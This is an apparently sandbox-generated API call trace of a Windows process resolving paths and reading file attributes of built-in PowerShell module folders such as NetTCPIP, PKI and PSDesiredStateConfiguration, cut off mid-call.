GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0145.314] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ", nBufferLength=0x38, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ", lpFilePart=0x0) returned 0x37 [0145.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.314] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\msmq"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20bc0906, ftCreationTime.dwHighDateTime=0x1d32773, ftLastAccessTime.dwLowDateTime=0x2397fa76, ftLastAccessTime.dwHighDateTime=0x1d32773, ftLastWriteTime.dwLowDateTime=0x2397fa76, ftLastWriteTime.dwHighDateTime=0x1d32773, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.321] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0145.321] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter", nBufferLength=0x3e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter", lpFilePart=0x0) returned 0x3d [0145.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.322] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netadapter"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc2679e0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e8ec2c6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.322] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0145.322] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection", nBufferLength=0x41, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection", lpFilePart=0x0) returned 0x40 [0145.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.322] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netconnection"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc268719, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e8ec2c6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.323] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0145.323] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture", nBufferLength=0x49, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture", lpFilePart=0x0) returned 0x48 [0145.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.323] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\neteventpacketcapture"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc268cf6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e912528, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.323] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0145.323] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo", nBufferLength=0x3b, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo", lpFilePart=0x0) returned 0x3a [0145.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.323] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netlbfo"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc2dd6b5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e912528, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.324] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0145.324] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", nBufferLength=0x3a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", lpFilePart=0x0) returned 0x39 [0145.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.324] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc34165b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e938796, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.324] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0145.324] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", nBufferLength=0x3a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", lpFilePart=0x0) returned 0x39 [0145.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.325] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc3421c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e938796, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.325] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0145.325] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity", nBufferLength=0x3f, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity", lpFilePart=0x0) returned 0x3e [0145.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.325] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netsecurity"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.325] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0145.325] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam", nBufferLength=0x41, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam", lpFilePart=0x0) returned 0x40 [0145.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.326] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netswitchteam"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc425b0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e95e9fc, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.326] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0145.326] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP", nBufferLength=0x3c, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP", lpFilePart=0x0) returned 0x3b [0145.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.326] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\nettcpip"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc426217, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e984c6e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.327] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0145.327] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus", nBufferLength=0x4d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus", lpFilePart=0x0) returned 0x4c [0145.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.327] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networkconnectivitystatus"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc468c21, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e984c6e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.327] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0145.327] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager", nBufferLength=0x48, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager", lpFilePart=0x0) returned 0x47 [0145.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.327] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networkswitchmanager"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.328] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0145.328] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition", nBufferLength=0x45, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition", lpFilePart=0x0) returned 0x44 [0145.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.328] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networktransition"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5046f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9aaec8, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.328] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PcsvDevice", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0145.328] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PcsvDevice", nBufferLength=0x3e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PcsvDevice", lpFilePart=0x0) returned 0x3d [0145.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.329] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PcsvDevice" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pcsvdevice"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc50532d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9d112b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.329] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0145.329] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI", nBufferLength=0x37, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI", lpFilePart=0x0) returned 0x36 [0145.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.329] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pki"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.330] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0145.330] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice", nBufferLength=0x3d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice", lpFilePart=0x0) returned 0x3c [0145.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.330] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pnpdevice"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5a46ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9d112b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.330] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0145.330] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement", nBufferLength=0x43, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement", lpFilePart=0x0) returned 0x42 [0145.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.330] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5a53a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9f739d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.331] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Provisioning", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0145.331] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Provisioning", nBufferLength=0x40, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Provisioning", lpFilePart=0x0) returned 0x3f [0145.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.331] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Provisioning" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\provisioning"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc6cc509, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea1d607, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.331] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0145.331] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0145.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.331] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.438] GetFullPathNameW (in: 